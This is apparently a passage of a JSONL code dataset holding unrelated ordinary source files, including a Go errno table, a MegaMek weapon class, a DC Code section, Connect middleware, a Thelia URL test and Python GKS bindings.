halted\"},\n\t{45, \"EDEADLK\", \"resource deadlock avoided\"},\n\t{46, \"ENOLCK\", \"no locks available\"},\n\t{50, \"EBADE\", \"invalid exchange\"},\n\t{51, \"EBADR\", \"invalid request descriptor\"},\n\t{52, \"EXFULL\", \"exchange full\"},\n\t{53, \"ENOANO\", \"no anode\"},\n\t{54, \"EBADRQC\", \"invalid request code\"},\n\t{55, \"EBADSLT\", \"invalid slot\"},\n\t{56, \"EDEADLOCK\", \"file locking deadlock error\"},\n\t{59, \"EBFONT\", \"bad font file format\"},\n\t{60, \"ENOSTR\", \"device not a stream\"},\n\t{61, \"ENODATA\", \"no data available\"},\n\t{62, \"ETIME\", \"timer expired\"},\n\t{63, \"ENOSR\", \"out of streams resources\"},\n\t{64, \"ENONET\", \"machine is not on the network\"},\n\t{65, \"ENOPKG\", \"package not installed\"},\n\t{66, \"EREMOTE\", \"object is remote\"},\n\t{67, \"ENOLINK\", \"link has been severed\"},\n\t{68, \"EADV\", \"advertise error\"},\n\t{69, \"ESRMNT\", \"srmount error\"},\n\t{70, \"ECOMM\", \"communication error on send\"},\n\t{71, \"EPROTO\", \"protocol error\"},\n\t{73, \"EDOTDOT\", \"RFS specific error\"},\n\t{74, \"EMULTIHOP\", \"multihop attempted\"},\n\t{77, \"EBADMSG\", \"bad message\"},\n\t{78, \"ENAMETOOLONG\", \"file name too long\"},\n\t{79, \"EOVERFLOW\", \"value too large for defined data type\"},\n\t{80, \"ENOTUNIQ\", \"name not unique on network\"},\n\t{81, \"EBADFD\", \"file descriptor in bad state\"},\n\t{82, \"EREMCHG\", \"remote address changed\"},\n\t{83, \"ELIBACC\", \"can not access a needed shared library\"},\n\t{84, \"ELIBBAD\", \"accessing a corrupted shared library\"},\n\t{85, \"ELIBSCN\", \".lib section in a.out corrupted\"},\n\t{86, \"ELIBMAX\", \"attempting to link in too many shared libraries\"},\n\t{87, \"ELIBEXEC\", \"cannot exec a shared library directly\"},\n\t{88, \"EILSEQ\", \"invalid or incomplete multibyte or wide character\"},\n\t{89, \"ENOSYS\", \"function not implemented\"},\n\t{90, \"ELOOP\", \"too many levels of symbolic links\"},\n\t{91, \"ERESTART\", \"interrupted system call should be restarted\"},\n\t{92, \"ESTRPIPE\", \"streams pipe error\"},\n\t{93, \"ENOTEMPTY\", \"directory not empty\"},\n\t{94, \"EUSERS\", \"too many users\"},\n\t{95, \"ENOTSOCK\", \"socket operation on non-socket\"},\n\t{96, \"EDESTADDRREQ\", \"destination address required\"},\n\t{97, \"EMSGSIZE\", \"message too long\"},\n\t{98, \"EPROTOTYPE\", \"protocol wrong type for socket\"},\n\t{99, \"ENOPROTOOPT\", \"protocol not available\"},\n\t{120, \"EPROTONOSUPPORT\", \"protocol not supported\"},\n\t{121, \"ESOCKTNOSUPPORT\", \"socket type not supported\"},\n\t{122, \"ENOTSUP\", \"operation not supported\"},\n\t{123, \"EPFNOSUPPORT\", \"protocol family not supported\"},\n\t{124, \"EAFNOSUPPORT\", \"address family not supported by protocol\"},\n\t{125, \"EADDRINUSE\", \"address already in use\"},\n\t{126, \"EADDRNOTAVAIL\", \"cannot assign requested address\"},\n\t{127, \"ENETDOWN\", \"network is down\"},\n\t{128, \"ENETUNREACH\", \"network is unreachable\"},\n\t{129, \"ENETRESET\", \"network dropped connection on reset\"},\n\t{130, \"ECONNABORTED\", \"software caused connection abort\"},\n\t{131, \"ECONNRESET\", \"connection reset by peer\"},\n\t{132, \"ENOBUFS\", \"no buffer space available\"},\n\t{133, \"EISCONN\", \"transport endpoint is already connected\"},\n\t{134, \"ENOTCONN\", \"transport endpoint is not connected\"},\n\t{135, \"EUCLEAN\", \"structure needs cleaning\"},\n\t{137, \"ENOTNAM\", \"not a XENIX named type file\"},\n\t{138, \"ENAVAIL\", \"no XENIX semaphores available\"},\n\t{139, \"EISNAM\", \"is a named type file\"},\n\t{140, \"EREMOTEIO\", \"remote I/O error\"},\n\t{141, \"EINIT\", \"unknown error 141\"},\n\t{142, \"EREMDEV\", \"unknown error 142\"},\n\t{143, \"ESHUTDOWN\", \"cannot send after transport endpoint shutdown\"},\n\t{144, \"ETOOMANYREFS\", \"too many references: cannot splice\"},\n\t{145, \"ETIMEDOUT\", \"connection timed out\"},\n\t{146, \"ECONNREFUSED\", \"connection refused\"},\n\t{147, \"EHOSTDOWN\", \"host is down\"},\n\t{148, \"EHOSTUNREACH\", \"no route to host\"},\n\t{149, \"EALREADY\", \"operation already in progress\"},\n\t{150, \"EINPROGRESS\", \"operation now in progress\"},\n\t{151, \"ESTALE\", \"stale file handle\"},\n\t{158, \"ECANCELED\", \"operation canceled\"},\n\t{159, \"ENOMEDIUM\", \"no medium found\"},\n\t{160, \"EMEDIUMTYPE\", \"wrong medium type\"},\n\t{161, \"ENOKEY\", \"required key not available\"},\n\t{162, \"EKEYEXPIRED\", \"key has expired\"},\n\t{163, \"EKEYREVOKED\", \"key has been revoked\"},\n\t{164, \"EKEYREJECTED\", \"key was rejected by service\"},\n\t{165, \"EOWNERDEAD\", \"owner died\"},\n\t{166, \"ENOTRECOVERABLE\", \"state not recoverable\"},\n\t{167, \"ERFKILL\", \"operation not possible due to RF-kill\"},\n\t{168, \"EHWPOISON\", \"memory page has hardware error\"},\n\t{1133, \"EDQUOT\", \"disk quota exceeded\"},\n}\n\n// Signal table\nvar signalList = [...]struct {\n\tnum syscall.Signal\n\tname string\n\tdesc string\n}{\n\t{1, \"SIGHUP\", \"hangup\"},\n\t{2, \"SIGINT\", \"interrupt\"},\n\t{3, \"SIGQUIT\", \"quit\"},\n\t{4, \"SIGILL\", \"illegal instruction\"},\n\t{5, \"SIGTRAP\", \"trace/breakpoint trap\"},\n\t{6, \"SIGABRT\", \"aborted\"},\n\t{7, \"SIGEMT\", \"EMT trap\"},\n\t{8, \"SIGFPE\", \"floating point exception\"},\n\t{9, \"SIGKILL\", \"killed\"},\n\t{10, \"SIGBUS\", \"bus error\"},\n\t{11, \"SIGSEGV\", \"segmentation fault\"},\n\t{12, \"SIGSYS\", \"bad system call\"},\n\t{13, \"SIGPIPE\", \"broken pipe\"},\n\t{14, \"SIGALRM\", \"alarm clock\"},\n\t{15, \"SIGTERM\", \"terminated\"},\n\t{16, \"SIGUSR1\", \"user defined signal 1\"},\n\t{17, \"SIGUSR2\", \"user defined signal 2\"},\n\t{18, \"SIGCHLD\", \"child exited\"},\n\t{19, \"SIGPWR\", \"power failure\"},\n\t{20, \"SIGWINCH\", \"window changed\"},\n\t{21, \"SIGURG\", \"urgent I/O condition\"},\n\t{22, \"SIGIO\", \"I/O possible\"},\n\t{23, \"SIGSTOP\", \"stopped (signal)\"},\n\t{24, \"SIGTSTP\", \"stopped\"},\n\t{25, \"SIGCONT\", \"continued\"},\n\t{26, \"SIGTTIN\", \"stopped (tty input)\"},\n\t{27, \"SIGTTOU\", \"stopped (tty output)\"},\n\t{28, \"SIGVTALRM\", \"virtual timer expired\"},\n\t{29, \"SIGPROF\", \"profiling timer expired\"},\n\t{30, \"SIGXCPU\", \"CPU time limit exceeded\"},\n\t{31, \"SIGXFSZ\", \"file size limit exceeded\"},\n}\n"} +{"text": "/**\n * MegaMek - Copyright (C) 2005 Ben Mazur (bmazur@sev.org)\n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the Free\n * Software Foundation; either version 2 of the License, or (at your option)\n * any later version.\n *\n * This program is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * for more details.\n */\npackage megamek.common.weapons.lrms;\n\nimport megamek.common.SimpleTechLevel;\n\n/**\n * @author Sebastian Brocks\n */\npublic class CLStreakLRM1OS extends StreakLRMWeapon {\n\n /**\n *\n */\n private static final long serialVersionUID = 5240577239366457930L;\n\n /**\n *\n */\n public CLStreakLRM1OS() {\n super();\n name = \"Streak LRM 1 (OS)\";\n setInternalName(\"CLStreakLRM1OS\");\n addLookupName(\"Clan Streak LRM-1 (OS)\");\n addLookupName(\"Clan Streak LRM 1 (OS)\");\n heat = 0;\n rackSize = 1;\n shortRange = 7;\n mediumRange = 14;\n longRange = 21;\n extremeRange = 28;\n tonnage = .9;\n criticals = 1;\n bv = 17;\n cost = 15000;\n flags = flags.or(F_ONESHOT).andNot(F_PROTO_WEAPON);\n techAdvancement.setTechBase(TECH_BASE_CLAN).setTechRating(RATING_F)\n .setAvailability(RATING_X, RATING_X, RATING_F, RATING_E)\n .setClanAdvancement(3057, 3079, 3088).setClanApproximate(false, true, false)\n .setPrototypeFactions(F_CCY).setProductionFactions(F_CJF)\n .setStaticTechLevel(SimpleTechLevel.EXPERIMENTAL);\n }\n}\n"} +{"text": "\n
    \n 6-1109.03\n Prevention of demolition by neglect.\n \n (a)\n If the Mayor determines that an historic landmark or a contributing building or structure within a historic district is threatened by demolition by neglect, upon obtaining an order from the Superior Court of the District of Columbia, the Mayor may:\n \n (1)\n Require the owner to repair all conditions contributing to demolition by neglect; or\n \n \n (2)\n If the owner does not make the required repairs within a reasonable period of time, enter the property and make the repairs necessary to prevent demolition by neglect.\n \n \n \n (b)\n The cost of any work undertaken pursuant to subsection (a) of this section shall be charged to the owner and may be levied by the District of Columbia as a special assessment against the real property. The special assessment shall be a lien against the real property.\n \n \n Mar. 3, 1979, D.C. Law 2-144, § 10c\n as added Nov. 16, 2006, D.C. Law 16-185, § 2(n), 53 DCR 6712\n This section is referenced in § 6-1109.02 and § 6-1110.01.\n \n
    \n"} +{"text": "import 'package:analyzer_plugin/protocol/protocol_common.dart';\nimport 'package:analyzer_plugin/utilities/navigation/navigation.dart';\nimport 'package:moor_generator/moor_generator.dart';\nimport 'package:moor_generator/src/backends/plugin/services/requests.dart';\nimport 'package:moor_generator/src/backends/plugin/utils/ast_to_location.dart';\nimport 'package:moor_generator/src/backends/plugin/utils/span_utils.dart';\nimport 'package:source_span/source_span.dart';\nimport 'package:sqlparser/sqlparser.dart';\n\nclass MoorNavigationContributor implements NavigationContributor {\n const MoorNavigationContributor();\n\n @override\n void computeNavigation(\n NavigationRequest request, NavigationCollector collector) {\n final moorRequest = request as MoorRequestAtPosition;\n\n final visitor = _NavigationVisitor(moorRequest, collector);\n if (moorRequest.file.isParsed) {\n moorRequest.parsedMoor.parsedFile.acceptWithoutArg(visitor);\n }\n }\n}\n\nclass _NavigationVisitor extends RecursiveVisitor {\n final MoorRequestAtPosition request;\n final NavigationCollector collector;\n\n _NavigationVisitor(this.request, this.collector);\n\n void _reportForSpan(SourceSpan span, ElementKind kind, Location target) {\n final offset = span.start.offset;\n final length = span.end.offset - offset;\n\n // Some clients only want the navigation target for a single region, others\n // want the whole file. For the former, only report regions is there is an\n // intersection\n if (!request.hasSpan || intersect(span, request.span)) {\n collector.addRegion(offset, length, kind, target);\n }\n }\n\n @override\n void visitMoorImportStatement(ImportStatement e, void arg) {\n if (request.isMoorAndParsed) {\n final moor = request.parsedMoor;\n final resolved = moor.resolvedImports[e];\n\n if (resolved != null) {\n final span = e.importString.span;\n _reportForSpan(\n span, ElementKind.FILE, Location(resolved.uri.path, 0, 0, 1, 1));\n }\n }\n\n visitChildren(e, arg);\n }\n\n @override\n void visitReference(Reference e, void arg) {\n if (request.isMoorAndAnalyzed) {\n final resolved = e.resolved;\n\n if (resolved is Column) {\n final locations = _locationOfColumn(resolved);\n for (final declaration in locations) {\n _reportForSpan(e.span, ElementKind.FIELD, declaration);\n }\n }\n }\n\n visitChildren(e, arg);\n }\n\n Iterable _locationOfColumn(Column column) sync* {\n final declaration = column.meta()?.declaration;\n if (declaration != null) {\n // the column was declared in a table and we happen to know where the\n // declaration is - point to that declaration.\n final location = locationOfDeclaration(declaration);\n yield location;\n } else if (column is ExpressionColumn) {\n // expression references don't have an explicit declaration, but they\n // reference an expression that we can target\n final expr = (declaration as ExpressionColumn).expression;\n yield locationOfNode(request.file, expr);\n } else if (column is CompoundSelectColumn) {\n // a compound select column consists of multiple column declarations -\n // let's use all of them\n yield* column.columns.where((c) => c != null).expand(_locationOfColumn);\n } else if (column is DelegatedColumn) {\n if (column.innerColumn != null) {\n yield* _locationOfColumn(column.innerColumn);\n }\n }\n }\n\n @override\n void visitTableReference(TableReference e, void arg) {\n final resolved = e.resolved;\n\n if (resolved is Table && resolved != null) {\n final declaration = resolved.meta()?.declaration;\n if (declaration != null) {\n _reportForSpan(\n e.span, ElementKind.CLASS, locationOfDeclaration(declaration));\n }\n }\n\n visitChildren(e, arg);\n }\n}\n"} +{"text": "/*!\n * Connect - methodOverride\n * Copyright(c) 2010 Sencha Inc.\n * Copyright(c) 2011 TJ Holowaychuk\n * MIT Licensed\n */\n\n/**\n * Module dependencies.\n */\n\nvar methods = require('methods');\n\n/**\n * Method Override:\n *\n * Provides faux HTTP method support.\n *\n * Pass an optional `key` to use when checking for\n * a method override, otherwise defaults to _\\_method_.\n * The original method is available via `req.originalMethod`.\n *\n * @param {String} key\n * @return {Function}\n * @api public\n */\n\nmodule.exports = function methodOverride(key){\n key = key || \"_method\";\n return function methodOverride(req, res, next) {\n var method;\n req.originalMethod = req.originalMethod || req.method;\n\n // req.body\n if (req.body && typeof req.body === 'object' && key in req.body) {\n method = req.body[key].toLowerCase();\n delete req.body[key];\n }\n\n // check X-HTTP-Method-Override\n if (req.headers['x-http-method-override']) {\n method = req.headers['x-http-method-override'].toLowerCase();\n }\n\n // replace\n if (supports(method)) req.method = method.toUpperCase();\n\n next();\n };\n};\n\n/**\n * Check if node supports `method`.\n */\n\nfunction supports(method) {\n return ~methods.indexOf(method);\n}\n"} +{"text": "\n * @author Franck Allimant \n *\n */\nclass URLTest extends \\PHPUnit_Framework_TestCase\n{\n protected $context;\n\n public function setUp()\n {\n $container = new \\Symfony\\Component\\DependencyInjection\\ContainerBuilder();\n\n $router = $this->getMockBuilder(\"Symfony\\Component\\Routing\\Router\")\n ->disableOriginalConstructor()\n ->getMock();\n\n $this->context = new \\Symfony\\Component\\Routing\\RequestContext(\n '/thelia/index.php',\n 'GET',\n 'localhost',\n 'http',\n 80,\n 443,\n '/path/to/action'\n );\n\n $router->expects($this->any())\n ->method('getContext')\n ->will($this->returnValue($this->context));\n\n $container->set(\"router.admin\", $router);\n\n new URL($container);\n }\n\n public function testGetIndexPage()\n {\n $this->context->setBaseUrl('/thelia/index.php');\n $url = URL::getInstance()->getIndexPage();\n $this->assertEquals('http://localhost/thelia/index.php', $url);\n\n $this->context->setBaseUrl('/thelia/');\n $url = URL::getInstance()->getIndexPage();\n $this->assertEquals('http://localhost/thelia/', $url);\n\n $this->context->setBaseUrl('/thelia');\n $url = URL::getInstance()->getIndexPage();\n $this->assertEquals('http://localhost/thelia', $url);\n\n $this->context->setBaseUrl('/');\n $url = URL::getInstance()->getIndexPage();\n $this->assertEquals('http://localhost/', $url);\n }\n\n public function testGetBaseUrl()\n {\n $this->context->setBaseUrl('/thelia/index.php');\n $url = URL::getInstance()->getBaseUrl();\n $this->assertEquals('http://localhost/thelia/index.php', $url);\n\n $this->context->setBaseUrl('/thelia/');\n $url = URL::getInstance()->getBaseUrl();\n $this->assertEquals('http://localhost/thelia/', $url);\n\n $this->context->setBaseUrl('/');\n $url = URL::getInstance()->getBaseUrl();\n $this->assertEquals('http://localhost/', $url);\n }\n\n public function testAbsoluteUrl()\n {\n $this->context->setBaseUrl('/');\n $url = URL::getInstance()->absoluteUrl('/path/to/action');\n $this->assertEquals('http://localhost/path/to/action', $url);\n\n $this->context->setBaseUrl('/thelia/');\n $url = URL::getInstance()->absoluteUrl('/path/to/action');\n $this->assertEquals('http://localhost/thelia/path/to/action', $url);\n\n $this->context->setBaseUrl('/thelia');\n $url = URL::getInstance()->absoluteUrl('/path/to/action');\n $this->assertEquals('http://localhost/thelia/path/to/action', $url);\n\n $this->context->setBaseUrl('/thelia/index.php');\n $url = URL::getInstance()->absoluteUrl('/path/to/action');\n $this->assertEquals('http://localhost/thelia/index.php/path/to/action', $url);\n }\n\n public function testAbsoluteUrlAlternateBase()\n {\n $this->context->setBaseUrl('/');\n $url = URL::getInstance()->absoluteUrl('/path/to/action', null, URL::WITH_INDEX_PAGE, 'https://mycdn.myshop.tld/');\n $this->assertEquals('https://mycdn.myshop.tld/path/to/action', $url);\n\n $this->context->setBaseUrl('/thelia/');\n $url = URL::getInstance()->absoluteUrl('/path/to/action',null, URL::WITH_INDEX_PAGE, 'https://mycdn.myshop.tld/');\n $this->assertEquals('https://mycdn.myshop.tld/path/to/action', $url);\n\n $this->context->setBaseUrl('/thelia');\n $url = URL::getInstance()->absoluteUrl('/path/to/action',null, URL::WITH_INDEX_PAGE, 'https://mycdn.myshop.tld/');\n $this->assertEquals('https://mycdn.myshop.tld/path/to/action', $url);\n\n $this->context->setBaseUrl('/thelia/index.php');\n $url = URL::getInstance()->absoluteUrl('/path/to/action', null, URL::WITH_INDEX_PAGE, 'https://mycdn.myshop.tld/');\n $this->assertEquals('https://mycdn.myshop.tld/path/to/action', $url);\n }\n\n public function testAbsoluteUrlOnAbsolutePath()\n {\n $this->context->setBaseUrl('/thelia/index.php');\n $url = URL::getInstance()->absoluteUrl('http://myhost/path/to/action');\n $this->assertEquals('http://myhost/path/to/action', $url);\n\n $this->context->setBaseUrl('/thelia/');\n $url = URL::getInstance()->absoluteUrl('http://myhost/path/to/action');\n $this->assertEquals('http://myhost/path/to/action', $url);\n\n $this->context->setBaseUrl('/');\n $url = URL::getInstance()->absoluteUrl('http://myhost/path/to/action');\n $this->assertEquals('http://myhost/path/to/action', $url);\n }\n\n public function testAbsoluteUrlOnAbsolutePathWithParameters()\n {\n $this->context->setBaseUrl('/thelia/index.php');\n $url = URL::getInstance()->absoluteUrl('http://myhost/path/to/action', array(\"p1\" => \"v1\", \"p2\" => \"v2\"));\n $this->assertEquals('http://myhost/path/to/action?p1=v1&p2=v2', $url);\n\n $this->context->setBaseUrl('/thelia/');\n $url = URL::getInstance()->absoluteUrl('http://myhost/path/to/action', array(\"p1\" => \"v1\", \"p2\" => \"v2\"));\n $this->assertEquals('http://myhost/path/to/action?p1=v1&p2=v2', $url);\n\n $this->context->setBaseUrl('/');\n $url = URL::getInstance()->absoluteUrl('http://myhost/path/to/action', array(\"p1\" => \"v1\", \"p2\" => \"v2\"));\n $this->assertEquals('http://myhost/path/to/action?p1=v1&p2=v2', $url);\n }\n\n public function testAbsoluteUrlOnAbsolutePathWithParametersAddParameters()\n {\n $this->context->setBaseUrl('/thelia/index.php');\n $url = URL::getInstance()->absoluteUrl('http://myhost/path/to/action?p0=v0', array(\"p1\" => \"v1\", \"p2\" => \"v2\"));\n $this->assertEquals('http://myhost/path/to/action?p0=v0&p1=v1&p2=v2', $url);\n\n $this->context->setBaseUrl('/thelia/');\n $url = URL::getInstance()->absoluteUrl('http://myhost/path/to/action?p0=v0', array(\"p1\" => \"v1\", \"p2\" => \"v2\"));\n $this->assertEquals('http://myhost/path/to/action?p0=v0&p1=v1&p2=v2', $url);\n\n $this->context->setBaseUrl('/');\n $url = URL::getInstance()->absoluteUrl('http://myhost/path/to/action?p0=v0', array(\"p1\" => \"v1\", \"p2\" => \"v2\"));\n $this->assertEquals('http://myhost/path/to/action?p0=v0&p1=v1&p2=v2', $url);\n }\n\n public function testAbsoluteUrlWithParameters()\n {\n $this->context->setBaseUrl('/thelia/index.php');\n $url = URL::getInstance()->absoluteUrl('/path/to/action', array(\"p1\" => \"v1\", \"p2\" => \"v2\"));\n $this->assertEquals('http://localhost/thelia/index.php/path/to/action?p1=v1&p2=v2', $url);\n\n $this->context->setBaseUrl('/thelia/');\n $url = URL::getInstance()->absoluteUrl('/path/to/action', array(\"p1\" => \"v1\", \"p2\" => \"v2\"));\n $this->assertEquals('http://localhost/thelia/path/to/action?p1=v1&p2=v2', $url);\n\n $this->context->setBaseUrl('/thelia');\n $url = URL::getInstance()->absoluteUrl('/path/to/action', array(\"p1\" => \"v1\", \"p2\" => \"v2\"));\n $this->assertEquals('http://localhost/thelia/path/to/action?p1=v1&p2=v2', $url);\n\n $this->context->setBaseUrl('/thelia');\n $url = URL::getInstance()->absoluteUrl('path/to/action', array(\"p1\" => \"v1\", \"p2\" => \"v2\"));\n $this->assertEquals('http://localhost/thelia/path/to/action?p1=v1&p2=v2', $url);\n\n $this->context->setBaseUrl('/');\n $url = URL::getInstance()->absoluteUrl('/path/to/action', array(\"p1\" => \"v1\", \"p2\" => \"v2\"));\n $this->assertEquals('http://localhost/path/to/action?p1=v1&p2=v2', $url);\n }\n\n public function testAbsoluteUrlPathOnly()\n {\n $this->context->setBaseUrl('/thelia/index.php');\n $url = URL::getInstance()->absoluteUrl('/path/to/action', array(), URL::PATH_TO_FILE);\n $this->assertEquals('http://localhost/thelia/path/to/action', $url);\n }\n\n public function testAbsoluteUrlPathOnlyWithParameters()\n {\n $this->context->setBaseUrl('/thelia/index.php');\n $url = URL::getInstance()->absoluteUrl('/path/to/action', array(\"p1\" => \"v1\", \"p2\" => \"v2\"), URL::PATH_TO_FILE);\n $this->assertEquals('http://localhost/thelia/path/to/action?p1=v1&p2=v2', $url);\n\n $this->context->setBaseUrl('/thelia/');\n $url = URL::getInstance()->absoluteUrl('/path/to/action', array(\"p1\" => \"v1\", \"p2\" => \"v2\"), URL::PATH_TO_FILE);\n $this->assertEquals('http://localhost/thelia/path/to/action?p1=v1&p2=v2', $url);\n\n $this->context->setBaseUrl('/');\n $url = URL::getInstance()->absoluteUrl('/path/to/action', array(\"p1\" => \"v1\", \"p2\" => \"v2\"), URL::PATH_TO_FILE);\n $this->assertEquals('http://localhost/path/to/action?p1=v1&p2=v2', $url);\n }\n\n public function testAbsoluteUrlFromIndexWithParameters()\n {\n $this->context->setBaseUrl('/thelia/index.php');\n $url = URL::getInstance()->absoluteUrl('/', array(\"p1\" => \"v1\", \"p2\" => \"v2\"));\n $this->assertEquals('http://localhost/thelia/index.php/?p1=v1&p2=v2', $url);\n\n $this->context->setBaseUrl('/thelia/');\n $url = URL::getInstance()->absoluteUrl('/', array(\"p1\" => \"v1\", \"p2\" => \"v2\"));\n $this->assertEquals('http://localhost/thelia/?p1=v1&p2=v2', $url);\n\n $this->context->setBaseUrl('/');\n $url = URL::getInstance()->absoluteUrl('/', array(\"p1\" => \"v1\", \"p2\" => \"v2\"));\n $this->assertEquals('http://localhost/?p1=v1&p2=v2', $url);\n }\n\n public function testAbsoluteUrlPathOnlyFromIndexWithParameters()\n {\n $this->context->setBaseUrl('/thelia/index.php');\n $url = URL::getInstance()->absoluteUrl('/', array(\"p1\" => \"v1\", \"p2\" => \"v2\"), URL::PATH_TO_FILE);\n $this->assertEquals('http://localhost/thelia/?p1=v1&p2=v2', $url);\n\n $this->context->setBaseUrl('/thelia/');\n $url = URL::getInstance()->absoluteUrl('/', array(\"p1\" => \"v1\", \"p2\" => \"v2\"), URL::PATH_TO_FILE);\n $this->assertEquals('http://localhost/thelia/?p1=v1&p2=v2', $url);\n\n $this->context->setBaseUrl('/');\n $url = URL::getInstance()->absoluteUrl('/', array(\"p1\" => \"v1\", \"p2\" => \"v2\"), URL::PATH_TO_FILE);\n $this->assertEquals('http://localhost/?p1=v1&p2=v2', $url);\n }\n\n public function testAbsoluteUrlPathWithParameterReplacement()\n {\n $this->context->setBaseUrl('/thelia/index.php');\n $url = URL::getInstance()->absoluteUrl(\n 'http://localhost/index_dev.php/admin/categories/update?category_id=1¤t_tab=general&folder_id=0',\n array(\"category_id\" => \"2\", \"edit_language_id\" => \"1\", \"current_tab\" => \"general\"),\n URL::PATH_TO_FILE\n );\n $this->assertEquals(\n 'http://localhost/index_dev.php/admin/categories/update?folder_id=0&category_id=2&edit_language_id=1¤t_tab=general',\n $url\n );\n\n $url = URL::getInstance()->absoluteUrl(\n 'http://localhost/index_dev.php/admin/categories/update?category_id=1¤t_tab=general&folder_id=0',\n array(\"edit_language_id\" => \"1\"),\n URL::PATH_TO_FILE\n );\n $this->assertEquals(\n 'http://localhost/index_dev.php/admin/categories/update?category_id=1¤t_tab=general&folder_id=0&edit_language_id=1',\n $url\n );\n\n $url = URL::getInstance()->absoluteUrl(\n 'http://localhost/index_dev.php/admin/categories/update?category_id=1¤t_tab=general&folder_id=0',\n array(),\n URL::PATH_TO_FILE\n );\n $this->assertEquals(\n 'http://localhost/index_dev.php/admin/categories/update?category_id=1¤t_tab=general&folder_id=0',\n $url\n );\n\n $url = URL::getInstance()->absoluteUrl(\n 'http://localhost/index_dev.php/admin/categories/update?category_id=1',\n array(\"category_id\" => \"2\", \"edit_language_id\" => \"1\", \"current_tab\" => \"general\"),\n URL::PATH_TO_FILE\n );\n $this->assertEquals(\n 'http://localhost/index_dev.php/admin/categories/update?category_id=2&edit_language_id=1¤t_tab=general',\n $url\n );\n }\n\n public function testRetrieve()\n {\n }\n}\n"} +{"text": "~/.orw/scripts/bar/generate_bar.sh -x 0 -y 0 -h 22 -f 2 u -a 7 -c bar_full -M -n full -l -A c,o5 -l -c -W ih -r -s 0 -p 15 -e -u -B -v -d \n"} +{"text": "import * as Fathom from \"fathom-client\"\nimport { useRouter } from \"next/router\"\nimport React from \"react\"\nimport Atoms from \"./designSystem/atoms\"\nimport PlainLink from \"./designSystem/PlainLink\"\nimport PlainList from \"./designSystem/PlainList\"\n\ninterface HeaderProps {\n siteTitle: string\n}\n\nconst links = [\n {\n to: \"/blog\",\n label: \"Blog\",\n },\n {\n to: \"/portfolio\",\n label: \"Portfolio\",\n },\n {\n to: \"/playlist\",\n label: \"Playlist\",\n },\n]\n\nconst Header = ({ siteTitle }: HeaderProps) => {\n const location = useRouter().pathname\n\n return (\n <>\n
    \n {siteTitle}\n\n \n
    \n \n \n )\n}\n\nexport default Header\n"} +{"text": "from ctypes import *\nfrom constants import *\n\nline_callback = None\nfill_callback = None\n\nfill_prototype = CFUNCTYPE(\n c_void_p, c_int, POINTER(c_double), POINTER(c_double), c_int)\nline_prototype = CFUNCTYPE(\n c_void_p, c_int, POINTER(c_double), POINTER(c_double), c_int, c_int)\n\n_gks = CDLL('/usr/local/gr/lib/libGKS.so')\n\n\ndef set_line_callback(lrc):\n global line_callback\n line_callback = line_prototype(lrc)\n\n\ndef set_fill_callback(frc):\n global fill_callback\n fill_callback = fill_prototype(frc)\n\n\nclass state_list(Structure):\n _fields_ = [\n ('lindex', c_int),\n ('ltype', c_int),\n ('lwidth', c_double),\n ('plcoli', c_int),\n ('mindex', c_int),\n ('mtype', c_int),\n ('mszsc', c_double),\n ('pmcoli', c_int),\n ('tindex', c_int),\n ('txfont', c_int),\n ('txprec', c_int),\n ('chxp', c_double),\n ('chsp', c_double),\n ('txcoli', c_int),\n ('chh', c_double),\n ('chup', c_double * 2),\n ('txp', c_int),\n ('txal', c_int * 2),\n ('findex', c_int),\n ('ints', c_int),\n ('styli', c_int),\n ('facoli', c_int),\n ('window', (c_double * 4) * MAX_TNR),\n ('viewport', (c_double * 4) * MAX_TNR),\n ('cntnr', c_int),\n ('clip', c_int),\n ('opsg', c_int),\n ('mat', (c_double * 2) * 3),\n ('asf', c_int * 13),\n ('wiss', c_int),\n ('version', c_int),\n ('fontfile', c_int),\n ('txslant', c_double),\n ('shoff', c_double * 2),\n ('blur', c_double),\n ('alpha', c_double),\n ('a', c_double * MAX_TNR),\n ('b', c_double * MAX_TNR),\n ('c', c_double * MAX_TNR),\n ('d', c_double * MAX_TNR)\n ]\n\n def sizeof(self):\n return sizeof(self)\n\n def copy_data(self, bytes):\n memmove(addressof(self), bytes, sizeof(self))\n\n_gks.gks_set_dev_xform.argtypes = (POINTER(state_list), POINTER(c_double),\n POINTER(c_double))\n_gks.gks_inq_pattern_array.argtypes = (c_int, c_int * 33)\n_gks.gks_inq_rgb.argtypes = (\n c_int, POINTER(c_double), POINTER(c_double), POINTER(c_double))\n_gks.gks_get_dash_list.argtypes = (c_int, c_double, c_int * 10)\n_gks.gks_init_core.argtypes = (POINTER(state_list),)\n_gks.gks_open_font.argtypes = []\n_gks.gks_emul_text.argtypes = (\n c_double, c_double, c_int, c_char_p, line_prototype, fill_prototype)\n_gks.gks_set_norm_xform.argtypes = (\n c_int, POINTER(c_double), POINTER(c_double))\n\n\ndef set_dev_xform(s_list, window, viewport):\n\n c_window = (c_double*len(window))()\n for i in range(len(window)):\n c_window[i] = c_double(window[i])\n\n c_viewport = (c_double*len(viewport))()\n for i in range(len(viewport)):\n c_viewport[i] = c_double(viewport[i])\n\n _gks.gks_set_dev_xform(s_list,\n cast(c_window, POINTER(c_double)),\n cast(c_viewport, POINTER(c_double)))\n\n\ndef inq_pattern_array(index):\n global _gks\n pattern = (c_int * 33)()\n _gks.gks_inq_pattern_array(c_int(index), pattern)\n n = pattern[0]\n return [i for i in pattern[1:n+1]]\n\n\ndef inq_rgb(color_index):\n global _gks\n color = [c_double(0) for i in range(3)]\n _gks.gks_inq_rgb(c_int(color_index), *map(byref, color))\n return [c.value for c in color]\n\n\ndef get_dash_list(ltype, scale):\n global _gks\n\n lt = c_int * 10\n l = lt()\n _gks.gks_get_dash_list(c_int(ltype), c_double(scale), l)\n\n l = [i for i in l[1:] if i != 0]\n return l\n\n\ndef init_core(list):\n global _gks\n\n _gks.gks_init_core(byref(list))\n\n\ndef open_font():\n global _gks\n\n fd = _gks.gks_open_font()\n return fd\n\n\ndef emul_text(x_pos, y_pos, text):\n _gks.gks_emul_text(c_double(x_pos), c_double(y_pos),\n c_int(len(text)), c_char_p(text),\n line_callback, fill_callback)\n\n\ndef set_norm_xform(tnr, window, viewport):\n c_window = (c_double*len(window))()\n for i in range(len(window)):\n c_window[i] = c_double(window[i])\n\n c_viewport = (c_double*len(viewport))()\n for i in range(len(viewport)):\n c_viewport[i] = c_double(viewport[i])\n\n 